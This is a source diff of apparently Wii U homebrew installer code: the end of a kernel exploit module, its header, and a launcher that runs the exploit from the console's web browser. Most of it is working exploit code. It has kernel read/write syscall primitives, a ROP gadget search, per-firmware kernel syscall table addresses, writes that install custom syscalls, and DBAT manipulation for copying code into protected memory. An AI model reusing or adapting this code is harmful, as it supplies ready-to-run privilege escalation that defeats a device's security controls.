OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
|
||||||
|
|
||||||
|
uint32_t stack1 = (uint32_t) OSAllocFromSystem(0x300, 0x20);
|
||||||
|
void *thread1 = OSAllocFromSystem(OSTHREAD_SIZE, 8);
|
||||||
|
|
||||||
|
OSCreateThread(thread1, sysFunc, 0, NULL, stack1 + 0x300, 0x300, 0, 0x1A);
|
||||||
|
OSResumeThread(thread1);
|
||||||
|
while(OSIsThreadTerminated(thread1) == 0)
|
||||||
|
{
|
||||||
|
asm volatile (
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Simple memcmp() implementation */
|
||||||
|
int memcmp(void *ptr1, void *ptr2, uint32_t length)
|
||||||
|
{
|
||||||
|
uint8_t *check1 = (uint8_t*) ptr1;
|
||||||
|
uint8_t *check2 = (uint8_t*) ptr2;
|
||||||
|
uint32_t i;
|
||||||
|
for (i = 0; i < length; i++)
|
||||||
|
{
|
||||||
|
if (check1[i] != check2[i]) return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void* memcpy(void* dst, const void* src, uint32_t size)
|
||||||
|
{
|
||||||
|
uint32_t i;
|
||||||
|
for (i = 0; i < size; i++)
|
||||||
|
((uint8_t*) dst)[i] = ((const uint8_t*) src)[i];
|
||||||
|
return dst;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Find a gadget based on a sequence of words */
|
||||||
|
void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start)
|
||||||
|
{
|
||||||
|
uint32_t *ptr;
|
||||||
|
|
||||||
|
/* Search code before JIT area first */
|
||||||
|
for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++)
|
||||||
|
{
|
||||||
|
if (!memcmp(ptr, &code[0], length)) return ptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Restart search after JIT */
|
||||||
|
for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++)
|
||||||
|
{
|
||||||
|
if (!memcmp(ptr, &code[0], length)) return ptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
OSFatal("Gadget not found!");
|
||||||
|
return (void*)0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Read a 32-bit word with kernel permissions */
|
||||||
|
uint32_t __attribute__ ((noinline)) kern_read(const void *addr)
|
||||||
|
{
|
||||||
|
uint32_t result;
|
||||||
|
asm volatile (
|
||||||
|
"li 3,1\n"
|
||||||
|
"li 4,0\n"
|
||||||
|
"li 5,0\n"
|
||||||
|
"li 6,0\n"
|
||||||
|
"li 7,0\n"
|
||||||
|
"lis 8,1\n"
|
||||||
|
"mr 9,%1\n"
|
||||||
|
"li 0,0x3400\n"
|
||||||
|
"mr %0,1\n"
|
||||||
|
"sc\n"
|
||||||
|
"nop\n"
|
||||||
|
"mr 1,%0\n"
|
||||||
|
"mr %0,3\n"
|
||||||
|
: "=r"(result)
|
||||||
|
: "b"(addr)
|
||||||
|
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
|
||||||
|
"11", "12"
|
||||||
|
);
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Write a 32-bit word with kernel permissions */
|
||||||
|
void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value)
|
||||||
|
{
|
||||||
|
asm volatile (
|
||||||
|
"li 3,1\n"
|
||||||
|
"li 4,0\n"
|
||||||
|
"mr 5,%1\n"
|
||||||
|
"li 6,0\n"
|
||||||
|
"li 7,0\n"
|
||||||
|
"lis 8,1\n"
|
||||||
|
"mr 9,%0\n"
|
||||||
|
"mr %1,1\n"
|
||||||
|
"li 0,0x3500\n"
|
||||||
|
"sc\n"
|
||||||
|
"nop\n"
|
||||||
|
"mr 1,%1\n"
|
||||||
|
:
|
||||||
|
: "r"(addr), "r"(value)
|
||||||
|
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
|
||||||
|
"11", "12"
|
||||||
|
);
|
||||||
|
}
|
97
installer/kexploit.h
Normal file
97
installer/kexploit.h
Normal file
@ -0,0 +1,97 @@
|
|||||||
|
#ifndef KEXPLOIT_H
|
||||||
|
#define KEXPLOIT_H
|
||||||
|
|
||||||
|
#include "structs.h"
|
||||||
|
#include "../../libwiiu/src/types.h"
|
||||||
|
#include "../../libwiiu/src/coreinit.h"
|
||||||
|
#include "../../libwiiu/src/socket.h"
|
||||||
|
|
||||||
|
/* Wait times for CPU0 and CPU2 */
|
||||||
|
#define CPU0_WAIT_TIME 80
|
||||||
|
#define CPU2_WAIT_TIME 92
|
||||||
|
|
||||||
|
/* Gadget finding addresses */
|
||||||
|
#define JIT_ADDRESS 0x01800000
|
||||||
|
#if (VER == 300 || VER == 310)
|
||||||
|
#define CODE_ADDRESS_START 0x0E000000
|
||||||
|
#define CODE_ADDRESS_END 0x10000000
|
||||||
|
#else
|
||||||
|
#define CODE_ADDRESS_START 0x0D800000
|
||||||
|
#define CODE_ADDRESS_END 0x0F848A0C
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Kernel addresses, for each new kernel */
|
||||||
|
#if VER == 200
|
||||||
|
#define KERN_SYSCALL_TBL 0xFFE85910
|
||||||
|
#define KERN_CODE_READ 0xFFF02214
|
||||||
|
#define KERN_CODE_WRITE 0xFFF02234
|
||||||
|
#define KERN_ADDRESS_TBL 0xFFEB4E00
|
||||||
|
#define KERN_HEAP 0xFF200000
|
||||||
|
#elif VER == 210
|
||||||
|
#define KERN_SYSCALL_TBL 0xFFE85910
|
||||||
|
#define KERN_CODE_READ 0xFFF02214
|
||||||
|
#define KERN_CODE_WRITE 0xFFF02234
|
||||||
|
#define KERN_ADDRESS_TBL 0xFFEB4E40
|
||||||
|
#define KERN_HEAP 0xFF200000
|
||||||
|
#elif VER == 300
|
||||||
|
#define KERN_SYSCALL_TBL 0xFFE85950
|
||||||
|
#define KERN_CODE_READ 0xFFF02214
|
||||||
|
#define KERN_CODE_WRITE 0xFFF02234
|
||||||
|
#define KERN_ADDRESS_TBL 0xFFEB66E4
|
||||||
|
#define KERN_HEAP 0xFF200000
|
||||||
|
#elif VER == 310
|
||||||
|
#define KERN_SYSCALL_TBL 0xFFE85950
|
||||||
|
#define KERN_CODE_READ 0xFFF02214
|
||||||
|
#define KERN_CODE_WRITE 0xFFF02234
|
||||||
|
#define KERN_ADDRESS_TBL 0xFFEB66E4
|
||||||
|
#define KERN_HEAP 0xFF200000
|
||||||
|
#elif VER == 400
|
||||||
|
#define KERN_SYSCALL_TBL 0xFFE85890
|
||||||
|
#define KERN_CODE_READ 0xFFF02214
|
||||||
|
#define KERN_CODE_WRITE 0xFFF02234
|
||||||
|
#define KERN_ADDRESS_TBL 0xFFEB7E5C
|
||||||
|
#define KERN_HEAP 0xFF200000
|
||||||
|
#elif VER == 410
|
||||||
|
#define KERN_SYSCALL_TBL 0xffe85890
|
||||||
|
#define KERN_CODE_READ 0xfff02214
|
||||||
|
#define KERN_CODE_WRITE 0xfff02234
|
||||||
|
#define KERN_ADDRESS_TBL 0xffeb902c
|
||||||
|
#define KERN_HEAP 0xFF200000
|
||||||
|
#elif VER == 500
|
||||||
|
#define KERN_SYSCALL_TBL 0xffea9520
|
||||||
|
#define KERN_CODE_READ 0xfff021f4
|
||||||
|
#define KERN_CODE_WRITE 0xfff02214
|
||||||
|
#define KERN_ADDRESS_TBL 0xffea9e4c
|
||||||
|
#define KERN_HEAP 0xFF200000
|
||||||
|
#elif VER == 532
|
||||||
|
#define KERN_SYSCALL_TBL 0xFFEAA0E0
|
||||||
|
#define KERN_CODE_READ 0xFFF02274
|
||||||
|
#define KERN_CODE_WRITE 0xFFF02294
|
||||||
|
#define KERN_ADDRESS_TBL 0xFFEAAA10
|
||||||
|
#define KERN_HEAP 0xFF200000
|
||||||
|
#elif VER == 550
|
||||||
|
#define KERN_SYSCALL_TBL 0xFFEAAE60
|
||||||
|
#define KERN_CODE_READ 0xFFF023D4
|
||||||
|
#define KERN_CODE_WRITE 0xFFF023F4
|
||||||
|
#define KERN_ADDRESS_TBL 0xFFEAB7A0
|
||||||
|
#define KERN_HEAP 0xFF200000
|
||||||
|
#else
|
||||||
|
#error "Unsupported Wii U software version"
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Browser PFID */
|
||||||
|
#define PFID_BROWSER 8
|
||||||
|
|
||||||
|
/* Size of a Cafe OS thread */
|
||||||
|
#define OSTHREAD_SIZE 0x1000
|
||||||
|
|
||||||
|
void run_kexploit(private_data_t *private_data);
|
||||||
|
|
||||||
|
/* Find a ROP gadget by a sequence of bytes */
|
||||||
|
void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start);
|
||||||
|
|
||||||
|
/* Arbitrary read and write syscalls */
|
||||||
|
uint32_t __attribute__ ((noinline)) kern_read(const void *addr);
|
||||||
|
void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value);
|
||||||
|
|
||||||
|
#endif /* KEXPLOIT_H */
|
506
installer/launcher.c
Normal file
506
installer/launcher.c
Normal file
@ -0,0 +1,506 @@
|
|||||||
|
#include "types.h"
|
||||||
|
#include "elf_abi.h"
|
||||||
|
#include "kexploit.h"
|
||||||
|
#include "structs.h"
|
||||||
|
#include "sd_loader.h"
|
||||||
|
|
||||||
|
#define MEM_BASE 0xC0800000
|
||||||
|
#include "../src/common/common.h"
|
||||||
|
#include "../src/common/os_defs.h"
|
||||||
|
#include "../../libwiiu/src/coreinit.h"
|
||||||
|
|
||||||
|
//! this shouldnt depend on OS
|
||||||
|
#define LIB_CODE_RW_BASE_OFFSET 0xC1000000
|
||||||
|
#define CODE_RW_BASE_OFFSET 0xC0000000
|
||||||
|
#define DATA_RW_BASE_OFFSET 0xC0000000
|
||||||
|
|
||||||
|
#if ( (VER == 532) || (VER == 540) )
|
||||||
|
#define ADDRESS_OSTitle_main_entry_ptr 0x1005d180
|
||||||
|
#define ADDRESS_main_entry_hook 0x0101c55c
|
||||||
|
|
||||||
|
#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown
|
||||||
|
#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games
|
||||||
|
#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader
|
||||||
|
#define KERN_SYSCALL_TBL_4 0xFFEA9CE0 // works with home menu
|
||||||
|
#define KERN_SYSCALL_TBL_5 0xFFEAA0E0 // works with browser (previously KERN_SYSCALL_TBL)
|
||||||
|
#elif ( (VER == 500) || (VER == 510) )
|
||||||
|
#define ADDRESS_OSTitle_main_entry_ptr 0x1005CB00
|
||||||
|
#define ADDRESS_main_entry_hook 0x0101C15C
|
||||||
|
|
||||||
|
#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown
|
||||||
|
#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games
|
||||||
|
#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader
|
||||||
|
#define KERN_SYSCALL_TBL_4 0xFFEA9120 // works with home menu
|
||||||
|
#define KERN_SYSCALL_TBL_5 0xFFEA9520 // works with browser (previously KERN_SYSCALL_TBL)
|
||||||
|
#elif (VER == 550)
|
||||||
|
#define ADDRESS_OSTitle_main_entry_ptr 0x1005E040
|
||||||
|
#define ADDRESS_main_entry_hook 0x0101c56c
|
||||||
|
|
||||||
|
#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown
|
||||||
|
#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games
|
||||||
|
#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader
|
||||||
|
#define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu
|
||||||
|
#define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL)
|
||||||
|
#elif (VER == 410)
|
||||||
|
#define ADDRESS_OSTitle_main_entry_ptr 0x1005A8C0
|
||||||
|
#define ADDRESS_main_entry_hook 0x0101BD4C
|
||||||
|
|
||||||
|
#define KERN_SYSCALL_TBL_1 0xFFE84C90
|
||||||
|
#define KERN_SYSCALL_TBL_2 0xFFE85090
|
||||||
|
#define KERN_SYSCALL_TBL_3 0xFFE85C90
|
||||||
|
#define KERN_SYSCALL_TBL_4 0xFFE85490
|
||||||
|
#define KERN_SYSCALL_TBL_5 0xFFE85890 // works with browser
|
||||||
|
#elif (VER == 400)
|
||||||
|
#define ADDRESS_OSTitle_main_entry_ptr 0x1005A600
|
||||||
|
#define ADDRESS_main_entry_hook 0x0101BD4C
|
||||||
|
|
||||||
|
#define KERN_SYSCALL_TBL_1 0xFFE84C90
|
||||||
|
#define KERN_SYSCALL_TBL_2 0xFFE85090
|
||||||
|
#define KERN_SYSCALL_TBL_3 0xFFE85C90
|
||||||
|
#define KERN_SYSCALL_TBL_4 0xFFE85490
|
||||||
|
#define KERN_SYSCALL_TBL_5 0xFFE85890 // works with browser
|
||||||
|
#else
|
||||||
|
#error Please define valid values for firmware.
|
||||||
|
#endif // VER
|
||||||
|
|
||||||
|
#define ROOTRPX_DBAT0U_VAL 0xC00003FF
|
||||||
|
#define COREINIT_DBAT0U_VAL 0xC20001FF
|
||||||
|
#if (VER >= 410)
|
||||||
|
#define ROOTRPX_DBAT0L_VAL 0x30000012
|
||||||
|
#define COREINIT_DBAT0L_VAL 0x32000012
|
||||||
|
#elif (VER == 400)
|
||||||
|
#define ROOTRPX_DBAT0L_VAL 0x4E000012
|
||||||
|
#define COREINIT_DBAT0L_VAL 0x4D000012
|
||||||
|
#else
|
||||||
|
#error Please define valid values for firmware.
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Install functions */
|
||||||
|
static void InstallMain(private_data_t *private_data);
|
||||||
|
static void InstallPatches(private_data_t *private_data);
|
||||||
|
static void ExitFailure(private_data_t *private_data, const char *failure);
|
||||||
|
|
||||||
|
static int show_install_menu(unsigned int coreinit_handle, unsigned int *ip_address);
|
||||||
|
static void thread_callback(int argc, void *argv);
|
||||||
|
|
||||||
|
static void SetupKernelSyscall(unsigned int addr);
|
||||||
|
static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len);
|
||||||
|
|
||||||
|
/* assembly functions */
|
||||||
|
extern void SC_0x25_KernelCopyData(void* addr, void* src, unsigned int len);
|
||||||
|
extern void Syscall_0x36(void);
|
||||||
|
extern void KernelPatches(void);
|
||||||
|
|
||||||
|
/* ****************************************************************** */
|
||||||
|
/* ENTRY POINT */
|
||||||
|
/* ****************************************************************** */
|
||||||
|
void __main(void)
|
||||||
|
{
|
||||||
|
/* Get coreinit handle and keep it in memory */
|
||||||
|
unsigned int coreinit_handle;
|
||||||
|
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
|
||||||
|
|
||||||
|
/* Get our memory functions */
|
||||||
|
unsigned int* functionPointer;
|
||||||
|
void* (*memset)(void * dest, unsigned int value, unsigned int bytes);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset);
|
||||||
|
|
||||||
|
private_data_t private_data;
|
||||||
|
memset(&private_data, 0, sizeof(private_data_t));
|
||||||
|
|
||||||
|
private_data.coreinit_handle = coreinit_handle;
|
||||||
|
private_data.memset = memset;
|
||||||
|
private_data.data_elf = (unsigned char *) ___sd_loader_sd_loader_elf; // use this address as temporary to load the elf
|
||||||
|
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer);
|
||||||
|
private_data.MEMAllocFromDefaultHeapEx = (void*(*)(unsigned int, unsigned int))*functionPointer;
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPointer);
|
||||||
|
private_data.MEMFreeToDefaultHeap = (void (*)(void *))*functionPointer;
|
||||||
|
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &private_data.memcpy);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &private_data.OSEffectiveToPhysical);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &private_data.DCFlushRange);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &private_data.ICInvalidateRange);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &private_data._Exit);
|
||||||
|
|
||||||
|
if (private_data.OSEffectiveToPhysical((void *)0xa0000000) == (void *)0)
|
||||||
|
{
|
||||||
|
run_kexploit(&private_data);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
/* Get functions to send restart signal */
|
||||||
|
int(*IM_Open)();
|
||||||
|
int(*IM_Close)(int fd);
|
||||||
|
int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b);
|
||||||
|
void*(*OSAllocFromSystem)(unsigned int size, int align);
|
||||||
|
void(*OSFreeToSystem)(void *ptr);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
|
||||||
|
|
||||||
|
/* Send restart signal to get rid of uneeded threads */
|
||||||
|
/* Cause the other browser threads to exit */
|
||||||
|
int fd = IM_Open();
|
||||||
|
void *mem = OSAllocFromSystem(0x100, 64);
|
||||||
|
if(!mem)
|
||||||
|
ExitFailure(&private_data, "Not enough memory. Exit and re-enter browser.");
|
||||||
|
|
||||||
|
private_data.memset(mem, 0, 0x100);
|
||||||
|
|
||||||
|
/* Sets wanted flag */
|
||||||
|
IM_SetDeviceState(fd, mem, 3, 0, 0);
|
||||||
|
IM_Close(fd);
|
||||||
|
OSFreeToSystem(mem);
|
||||||
|
|
||||||
|
/* Waits for thread exits */
|
||||||
|
unsigned int t1 = 0x1FFFFFFF;
|
||||||
|
while(t1--) ;
|
||||||
|
|
||||||
|
/* restore kernel memory table to original state */
|
||||||
|
kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0);
|
||||||
|
kern_write((void*)(KERN_ADDRESS_TBL + (0x13 * 4)), 0x14000000);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Prepare for thread startups */
|
||||||
|
int (*OSCreateThread)(void *thread, void *entry, int argc, void *args, unsigned int stack, unsigned int stack_size, int priority, unsigned short attr);
|
||||||
|
int (*OSResumeThread)(void *thread);
|
||||||
|
int (*OSIsThreadTerminated)(void *thread);
|
||||||
|
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
|
||||||
|
|
||||||
|
/* Allocate a stack for the thread */
|
||||||
|
/* IMPORTANT: libcurl uses around 0x1000 internally so make
|
||||||
|
sure to allocate more for the stack to avoid crashes */
|
||||||
|
void *stack = private_data.MEMAllocFromDefaultHeapEx(0x4000, 0x20);
|
||||||
|
/* Create the thread variable */
|
||||||
|
void *thread = private_data.MEMAllocFromDefaultHeapEx(0x1000, 8);
|
||||||
|
if(!thread || !stack)
|
||||||
|
ExitFailure(&private_data, "Thread memory allocation failed. Exit and re-enter browser.");
|
||||||
|
|
||||||
|
// the thread stack is too small on current thread, switch to an own created thread
|
||||||
|
// create a detached thread with priority 0 and use core 1
|
||||||
|
int ret = OSCreateThread(thread, thread_callback, 1, (void*)&private_data, (unsigned int)stack+0x4000, 0x4000, 0, 0x1A);
|
||||||
|
if (ret == 0)
|
||||||
|
ExitFailure(&private_data, "Failed to create thread. Exit and re-enter browser.");
|
||||||
|
|
||||||
|
/* Schedule it for execution */
|
||||||
|
OSResumeThread(thread);
|
||||||
|
|
||||||
|
// Keep this main thread around for ELF loading
|
||||||
|
// Can not use OSJoinThread, which hangs for some reason, so we use a detached one and wait for it to terminate
|
||||||
|
while(OSIsThreadTerminated(thread) == 0)
|
||||||
|
{
|
||||||
|
asm volatile (
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
" nop\n"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* setup kernel copy data syscall */
|
||||||
|
kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x25 * 4)), (unsigned int)KernelCopyData);
|
||||||
|
|
||||||
|
/* Install our code now */
|
||||||
|
InstallMain(&private_data);
|
||||||
|
|
||||||
|
/* setup our own syscall and call it */
|
||||||
|
SetupKernelSyscall((unsigned int)KernelPatches);
|
||||||
|
Syscall_0x36();
|
||||||
|
|
||||||
|
/* Patch functions and our code for usage */
|
||||||
|
InstallPatches(&private_data);
|
||||||
|
|
||||||
|
/* Free thread memory and stack */
|
||||||
|
private_data.MEMFreeToDefaultHeap(thread);
|
||||||
|
private_data.MEMFreeToDefaultHeap(stack);
|
||||||
|
|
||||||
|
//! we are done -> exit browser now
|
||||||
|
private_data._Exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
void ExitFailure(private_data_t *private_data, const char *failure)
|
||||||
|
{
|
||||||
|
/************************************************************************/
|
||||||
|
// Prepare screen
|
||||||
|
void (*OSScreenInit)();
|
||||||
|
unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
|
||||||
|
unsigned int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr);
|
||||||
|
unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp);
|
||||||
|
unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum);
|
||||||
|
unsigned int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer);
|
||||||
|
|
||||||
|
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenInit", &OSScreenInit);
|
||||||
|
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
|
||||||
|
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx);
|
||||||
|
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx);
|
||||||
|
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx);
|
||||||
|
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx);
|
||||||
|
|
||||||
|
// Prepare screen
|
||||||
|
int screen_buf0_size = 0;
|
||||||
|
int screen_buf1_size = 0;
|
||||||
|
unsigned int screen_color = 0; // (r << 24) | (g << 16) | (b << 8) | a;
|
||||||
|
|
||||||
|
// Init screen and screen buffers
|
||||||
|
OSScreenInit();
|
||||||
|
screen_buf0_size = OSScreenGetBufferSizeEx(0);
|
||||||
|
screen_buf1_size = OSScreenGetBufferSizeEx(1);
|
||||||
|
OSScreenSetBufferEx(0, (void *)0xF4000000);
|
||||||
|
OSScreenSetBufferEx(1, (void *)0xF4000000 + screen_buf0_size);
|
||||||
|
|
||||||
|
// Clear screens
|
||||||
|
OSScreenClearBufferEx(0, screen_color);
|
||||||
|
OSScreenClearBufferEx(1, screen_color);
|
||||||
|
|
||||||
|
// Flush the cache
|
||||||
|
private_data->DCFlushRange((void *)0xF4000000, screen_buf0_size);
|
||||||
|
private_data->DCFlushRange((void *)0xF4000000 + screen_buf0_size, screen_buf1_size);
|
||||||
|
|
||||||
|
// Flip buffers
|
||||||
|
OSScreenFlipBuffersEx(0);
|
||||||
|
OSScreenFlipBuffersEx(1);
|
||||||
|
|
||||||
|
OSScreenPutFontEx(1, 0, 0, failure);
|
||||||
|
|
||||||
|
OSScreenFlipBuffersEx(1);
|
||||||
|
OSScreenClearBufferEx(1, 0);
|
||||||
|
|
||||||
|
unsigned int t1 = 0x3FFFFFFF;
|
||||||
|
while(t1--) asm volatile("nop");
|
||||||
|
|
||||||
|
private_data->_Exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
/* *****************************************************************************
|
||||||
|
* Base functions
|
||||||
|
* ****************************************************************************/
|
||||||
|
static void SetupKernelSyscall(unsigned int address)
|
||||||
|
{
|
||||||
|
// Add syscall #0x36
|
||||||
|
kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x36 * 4)), address);
|
||||||
|
|
||||||
|
// make kern_read/kern_write available in all places
|
||||||
|
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x34 * 4)), KERN_CODE_READ);
|
||||||
|
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x34 * 4)), KERN_CODE_READ);
|
||||||
|
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x34 * 4)), KERN_CODE_READ);
|
||||||
|
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x34 * 4)), KERN_CODE_READ);
|
||||||
|
|
||||||
|
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x35 * 4)), KERN_CODE_WRITE);
|
||||||
|
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x35 * 4)), KERN_CODE_WRITE);
|
||||||
|
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x35 * 4)), KERN_CODE_WRITE);
|
||||||
|
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x35 * 4)), KERN_CODE_WRITE);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len)
|
||||||
|
{
|
||||||
|
/*
|
||||||
|
* Setup a DBAT access for our 0xC0800000 area and our 0xBC000000 area which hold our variables like GAME_LAUNCHED and our BSS/rodata section
|
||||||
|
*/
|
||||||
|
register unsigned int dbatu0, dbatl0, target_dbat0u, target_dbat0l;
|
||||||
|
// setup mapping based on target address
|
||||||
|
if ((addr >= 0xC0000000) && (addr < 0xC2000000)) // root.rpx address
|
||||||
|
{
|
||||||
|
target_dbat0u = ROOTRPX_DBAT0U_VAL;
|
||||||
|
target_dbat0l = ROOTRPX_DBAT0L_VAL;
|
||||||
|
}
|
||||||
|
else if ((addr >= 0xC2000000) && (addr < 0xC3000000))
|
||||||
|
{
|
||||||
|
target_dbat0u = COREINIT_DBAT0U_VAL;
|
||||||
|
target_dbat0l = COREINIT_DBAT0L_VAL;
|
||||||
|
}
|
||||||
|
// save the original DBAT value
|
||||||
|
asm volatile("mfdbatu %0, 0" : "=r" (dbatu0));
|
||||||
|
asm volatile("mfdbatl %0, 0" : "=r" (dbatl0));
|
||||||
|
asm volatile("mtdbatu 0, %0" : : "r" (target_dbat0u));
|
||||||
|
asm volatile("mtdbatl 0, %0" : : "r" (target_dbat0l));
|
||||||
|
asm volatile("eieio; isync");
|
||||||
|
|
||||||
|
unsigned char *src_p = (unsigned char*)src;
|
||||||
|
unsigned char *dst_p = (unsigned char*)addr;
|
||||||
|
|
||||||
|
unsigned int i;
|
||||||
|
for(i = 0; i < len; i++)
|
||||||
|
{
|
||||||
|
dst_p[i] = src_p[i];
|
||||||
|
}
|
||||||
|
|
||||||
|
unsigned int flushAddr = addr & ~31;
|
||||||
|
|
||||||
|
while(flushAddr < (addr + len))
|
||||||
|
{
|
||||||
|
asm volatile("dcbf 0, %0; sync" : : "r"(flushAddr));
|
||||||
|
flushAddr += 0x20;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Restore original DBAT value
|
||||||
|
*/
|
||||||
|
asm volatile("mtdbatu 0, %0" : : "r" (dbatu0));
|
||||||
|
asm volatile("mtdbatl 0, %0" : : "r" (dbatl0));
|
||||||
|
asm volatile("eieio; isync");
|
||||||
|
}
|
||||||
|
|
||||||
|
static void thread_callback(int argc, void *argv)
|
||||||
|
{
|
||||||
|
/* Pre-load the Mii Studio to be executed on _Exit - thanks to wj444 for sharing it */
|
||||||
|
unsigned int sysapp_handle;
|
||||||
|
void (*_SYSLaunchMiiStudio)(void) = 0;
|
||||||
|
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
|
||||||
|
OSDynLoad_FindExport(sysapp_handle, 0, "_SYSLaunchMiiStudio", &_SYSLaunchMiiStudio);
|
||||||
|
|
||||||
|
_SYSLaunchMiiStudio();
|
||||||
|
}
|
||||||
|
|
||||||
|
static int strcmp(const char *s1, const char *s2)
|
||||||
|
{
|
||||||
|
while(*s1 && *s2)
|
||||||
|
{
|
||||||
|
if(*s1 != *s2) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
s1++;
|
||||||
|
s2++;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(*s1 != *s2) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
